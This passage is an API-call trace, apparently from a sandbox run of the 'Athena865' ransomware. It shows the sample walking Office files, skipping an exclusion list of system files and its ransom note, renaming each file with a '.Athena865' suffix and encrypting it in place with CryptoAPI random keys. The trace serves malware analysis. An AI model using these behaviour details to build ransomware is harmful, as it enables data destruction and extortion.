lpString1="WINWORD.DEV_K_COL.HXK") returned="WINWORD.DEV_K_COL.HXK" [0149.167] lstrlenW (lpString="WINWORD.DEV_K_COL.HXK") returned 21 [0149.167] lstrlenW (lpString="Athena865") returned 9 [0149.167] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0149.167] lstrlenW (lpString=".dll") returned 4 [0149.167] lstrcmpiW (lpString1="WINWORD.DEV_K_COL.HXK", lpString2=".dll") returned 1 [0149.167] lstrlenW (lpString=".lnk") returned 4 [0149.167] lstrcmpiW (lpString1="WINWORD.DEV_K_COL.HXK", lpString2=".lnk") returned 1 [0149.167] lstrlenW (lpString=".ini") returned 4 [0149.167] lstrcmpiW (lpString1="WINWORD.DEV_K_COL.HXK", lpString2=".ini") returned 1 [0149.167] lstrlenW (lpString=".sys") returned 4 [0149.167] lstrcmpiW (lpString1="WINWORD.DEV_K_COL.HXK", lpString2=".sys") returned 1 [0149.167] lstrlenW (lpString="WINWORD.DEV_K_COL.HXK") returned 21 [0149.167] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.Athena865") returned 79 [0149.167] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0149.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.169] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0149.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.170] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.170] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.170] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.170] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0149.172] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0149.173] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.174] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.174] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0149.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0149.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.175] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.175] CloseHandle (hObject=0x17c) returned 1 [0149.175] CloseHandle (hObject=0x154) returned 1 [0149.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.175] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe02ac500, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0x1e5bfa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe02ac500, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x4ff5e5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINWORD.HXS", cAlternateFileName="")) returned 1 [0149.175] lstrcmpiW (lpString1="WINWORD.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.175] lstrcmpiW (lpString1="WINWORD.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.175] lstrcmpiW (lpString1="WINWORD.HXS", lpString2=".") returned 1 [0149.175] lstrcmpiW (lpString1="WINWORD.HXS", lpString2="..") returned 1 [0149.175] lstrcmpiW (lpString1="WINWORD.HXS", lpString2="windows") returned 1 [0149.175] lstrcmpiW (lpString1="WINWORD.HXS", lpString2="bootmgr") returned 1 [0149.175] lstrcmpiW (lpString1="WINWORD.HXS", lpString2="temp") returned 1 [0149.175] lstrcmpiW (lpString1="WINWORD.HXS", lpString2="pagefile.sys") returned 1 [0149.175] lstrcmpiW (lpString1="WINWORD.HXS", lpString2="boot") returned 1 [0149.175] lstrcmpiW (lpString1="WINWORD.HXS", lpString2="ids.txt") returned 1 [0149.175] lstrcmpiW (lpString1="WINWORD.HXS", lpString2="ntuser.dat") returned 1 [0149.175] lstrcmpiW (lpString1="WINWORD.HXS", lpString2="perflogs") returned 1 [0149.175] lstrcmpiW (lpString1="WINWORD.HXS", lpString2="MSBuild") returned 1 [0149.176] lstrlenW (lpString="WINWORD.HXS") returned 11 [0149.176] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINWORD.HXS" | out: lpString1="WINWORD.HXS") returned="WINWORD.HXS" [0149.176] lstrlenW (lpString="WINWORD.HXS") returned 11 [0149.176] lstrlenW (lpString="Athena865") returned 9 [0149.176] lstrcmpiW (lpString1="NWORD.HXS", lpString2="Athena865") returned 1 [0149.176] lstrlenW (lpString=".dll") returned 4 [0149.176] lstrcmpiW (lpString1="WINWORD.HXS", lpString2=".dll") returned 1 [0149.176] lstrlenW (lpString=".lnk") returned 4 [0149.176] lstrcmpiW (lpString1="WINWORD.HXS", lpString2=".lnk") returned 1 [0149.176] lstrlenW (lpString=".ini") returned 4 [0149.176] lstrcmpiW (lpString1="WINWORD.HXS", lpString2=".ini") returned 1 [0149.176] lstrlenW (lpString=".sys") returned 4 [0149.176] lstrcmpiW (lpString1="WINWORD.HXS", lpString2=".sys") returned 1 [0149.176] lstrlenW (lpString="WINWORD.HXS") returned 11 [0149.176] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.Athena865") returned 69 [0149.176] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.athena865"), dwFlags=0x1) returned 1 [0149.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.178] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5240293) returned 1 [0149.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.178] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.179] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.179] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.179] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ff8f0, lpName=0x0) returned 0x17c [0149.181] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0xff8f0) returned 0x2bb0000 [0149.365] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.366] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.366] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0149.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0149.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.367] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0149.376] CloseHandle (hObject=0x17c) returned 1 [0149.376] CloseHandle (hObject=0x154) returned 1 [0149.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.384] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINWORD_COL.HXC", cAlternateFileName="WINWOR~2.HXC")) returned 1 [0149.384] lstrcmpiW (lpString1="WINWORD_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.384] lstrcmpiW (lpString1="WINWORD_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.384] lstrcmpiW (lpString1="WINWORD_COL.HXC", lpString2=".") returned 1 [0149.384] lstrcmpiW (lpString1="WINWORD_COL.HXC", lpString2="..") returned 1 [0149.384] lstrcmpiW (lpString1="WINWORD_COL.HXC", lpString2="windows") returned 1 [0149.384] lstrcmpiW (lpString1="WINWORD_COL.HXC", lpString2="bootmgr") returned 1 [0149.384] lstrcmpiW (lpString1="WINWORD_COL.HXC", lpString2="temp") returned 1 [0149.384] lstrcmpiW (lpString1="WINWORD_COL.HXC", lpString2="pagefile.sys") returned 1 [0149.384] lstrcmpiW (lpString1="WINWORD_COL.HXC", lpString2="boot") returned 1 [0149.384] lstrcmpiW (lpString1="WINWORD_COL.HXC", lpString2="ids.txt") returned 1 [0149.384] lstrcmpiW (lpString1="WINWORD_COL.HXC", lpString2="ntuser.dat") returned 1 [0149.384] lstrcmpiW (lpString1="WINWORD_COL.HXC", lpString2="perflogs") returned 1 [0149.385] lstrcmpiW (lpString1="WINWORD_COL.HXC", lpString2="MSBuild") returned 1 [0149.385] lstrlenW (lpString="WINWORD_COL.HXC") returned 15 [0149.385] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINWORD_COL.HXC" | out: lpString1="WINWORD_COL.HXC") returned="WINWORD_COL.HXC" [0149.385] lstrlenW (lpString="WINWORD_COL.HXC") returned 15 [0149.385] lstrlenW (lpString="Athena865") returned 9 [0149.385] lstrcmpiW (lpString1="D_COL.HXC", lpString2="Athena865") returned 1 [0149.385] lstrlenW (lpString=".dll") returned 4 [0149.385] lstrcmpiW (lpString1="WINWORD_COL.HXC", lpString2=".dll") returned 1 [0149.385] lstrlenW (lpString=".lnk") returned 4 [0149.385] lstrcmpiW (lpString1="WINWORD_COL.HXC", lpString2=".lnk") returned 1 [0149.385] lstrlenW (lpString=".ini") returned 4 [0149.385] lstrcmpiW (lpString1="WINWORD_COL.HXC", lpString2=".ini") returned 1 [0149.385] lstrlenW (lpString=".sys") returned 4 [0149.385] lstrcmpiW (lpString1="WINWORD_COL.HXC", lpString2=".sys") returned 1 [0149.385] lstrlenW (lpString="WINWORD_COL.HXC") returned 15 [0149.385] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.Athena865") returned 73 [0149.385] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc.athena865"), dwFlags=0x1) returned 1 [0149.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.389] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=631) returned 1 [0149.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.390] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.390] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.390] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.390] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.390] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.391] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x580, lpName=0x0) returned 0x17c [0149.393] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x580) returned 0x100000 [0149.393] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.394] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.394] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0149.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0149.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.395] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.395] CloseHandle (hObject=0x17c) returned 1 [0149.395] CloseHandle (hObject=0x154) returned 1 [0149.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.395] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79756b00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79756b00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINWORD_COL.HXT", cAlternateFileName="WINWOR~2.HXT")) returned 1 [0149.395] lstrcmpiW (lpString1="WINWORD_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.395] lstrcmpiW (lpString1="WINWORD_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.395] lstrcmpiW (lpString1="WINWORD_COL.HXT", lpString2=".") returned 1 [0149.395] lstrcmpiW (lpString1="WINWORD_COL.HXT", lpString2="..") returned 1 [0149.395] lstrcmpiW (lpString1="WINWORD_COL.HXT", lpString2="windows") returned 1 [0149.395] lstrcmpiW (lpString1="WINWORD_COL.HXT", lpString2="bootmgr") returned 1 [0149.395] lstrcmpiW (lpString1="WINWORD_COL.HXT", lpString2="temp") returned 1 [0149.395] lstrcmpiW (lpString1="WINWORD_COL.HXT", lpString2="pagefile.sys") returned 1 [0149.395] lstrcmpiW (lpString1="WINWORD_COL.HXT", lpString2="boot") returned 1 [0149.396] lstrcmpiW (lpString1="WINWORD_COL.HXT", lpString2="ids.txt") returned 1 [0149.396] lstrcmpiW (lpString1="WINWORD_COL.HXT", lpString2="ntuser.dat") returned 1 [0149.396] lstrcmpiW (lpString1="WINWORD_COL.HXT", lpString2="perflogs") returned 1 [0149.396] lstrcmpiW (lpString1="WINWORD_COL.HXT", lpString2="MSBuild") returned 1 [0149.396] lstrlenW (lpString="WINWORD_COL.HXT") returned 15 [0149.396] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINWORD_COL.HXT" | out: lpString1="WINWORD_COL.HXT") returned="WINWORD_COL.HXT" [0149.396] lstrlenW (lpString="WINWORD_COL.HXT") returned 15 [0149.396] lstrlenW (lpString="Athena865") returned 9 [0149.396] lstrcmpiW (lpString1="D_COL.HXT", lpString2="Athena865") returned 1 [0149.396] lstrlenW (lpString=".dll") returned 4 [0149.396] lstrcmpiW (lpString1="WINWORD_COL.HXT", lpString2=".dll") returned 1 [0149.396] lstrlenW (lpString=".lnk") returned 4 [0149.396] lstrcmpiW (lpString1="WINWORD_COL.HXT", lpString2=".lnk") returned 1 [0149.396] lstrlenW (lpString=".ini") returned 4 [0149.396] lstrcmpiW (lpString1="WINWORD_COL.HXT", lpString2=".ini") returned 1 [0149.396] lstrlenW (lpString=".sys") returned 4 [0149.396] lstrcmpiW (lpString1="WINWORD_COL.HXT", lpString2=".sys") returned 1 [0149.396] lstrlenW (lpString="WINWORD_COL.HXT") returned 15 [0149.396] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.Athena865") returned 73 [0149.396] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt.athena865"), dwFlags=0x1) returned 1 [0149.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.398] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=207) returned 1 [0149.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.398] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.399] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.399] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.399] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d0, lpName=0x0) returned 0x17c [0149.402] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d0) returned 0x100000 [0149.402] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.403] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.403] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0149.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0149.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.404] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.404] CloseHandle (hObject=0x17c) returned 1 [0149.404] CloseHandle (hObject=0x154) returned 1 [0149.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.404] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79756b00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79756b00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINWORD_F_COL.HXK", cAlternateFileName="WINWOR~3.HXK")) returned 1 [0149.404] lstrcmpiW (lpString1="WINWORD_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.404] lstrcmpiW (lpString1="WINWORD_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.405] lstrcmpiW (lpString1="WINWORD_F_COL.HXK", lpString2=".") returned 1 [0149.405] lstrcmpiW (lpString1="WINWORD_F_COL.HXK", lpString2="..") returned 1 [0149.405] lstrcmpiW (lpString1="WINWORD_F_COL.HXK", lpString2="windows") returned 1 [0149.405] lstrcmpiW (lpString1="WINWORD_F_COL.HXK", lpString2="bootmgr") returned 1 [0149.405] lstrcmpiW (lpString1="WINWORD_F_COL.HXK", lpString2="temp") returned 1 [0149.405] lstrcmpiW (lpString1="WINWORD_F_COL.HXK", lpString2="pagefile.sys") returned 1 [0149.405] lstrcmpiW (lpString1="WINWORD_F_COL.HXK", lpString2="boot") returned 1 [0149.405] 